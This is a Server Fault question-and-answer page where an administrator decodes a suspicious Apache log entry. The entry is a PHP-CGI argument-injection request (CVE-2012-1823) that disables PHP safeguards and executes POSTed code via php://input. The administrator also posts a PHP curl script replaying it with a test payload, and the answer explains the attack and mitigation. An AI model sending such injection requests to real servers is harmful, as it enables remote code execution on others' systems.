Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

Warning: The following requests might harm your server.

I got some strange things in the apache log:

"POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-"

This means:

POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n

As you can see this gives 200 but when I run it with curl:

<?php
 $ch = curl_init();

 curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E");
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; ");

 echo curl_exec($ch);

 curl_close($ch);
 ?>

It returns a 404. This is the same when I run it from terminal.

Why is that so? And what is this awkward URL doing?

share|improve this question

1 Answer 1

up vote 1 down vote accepted

This is known as one of CGI attacks, effective when someone uses unpatched or incorrectly configured web server.

Example of vulnerability: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823

It's overriding php.ini settings set on the server and executing the file from input/URL.

If you are updating your software on time or you don't use CGI interface on your web server (in case of apache - mod_cgi mod_fastcgi mod_fcgid etc i.e. not mod_php) to interact with PHP - there is nothing to worry about. Constant attacks/scans like this have permanent behavior.

share|improve this answer
    
Right, but I still do not know why it's 200 in the logs and 404 to the client. –  Mike Pretzlaw Aug 17 '13 at 10:21
1  
because "aussehenwie.de/%70%68%70%70%61%74%68/…; returns 404 :) –  GioMac Aug 17 '13 at 10:22
    
Don't know, must have details on your configuration. –  GioMac Aug 17 '13 at 10:32

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.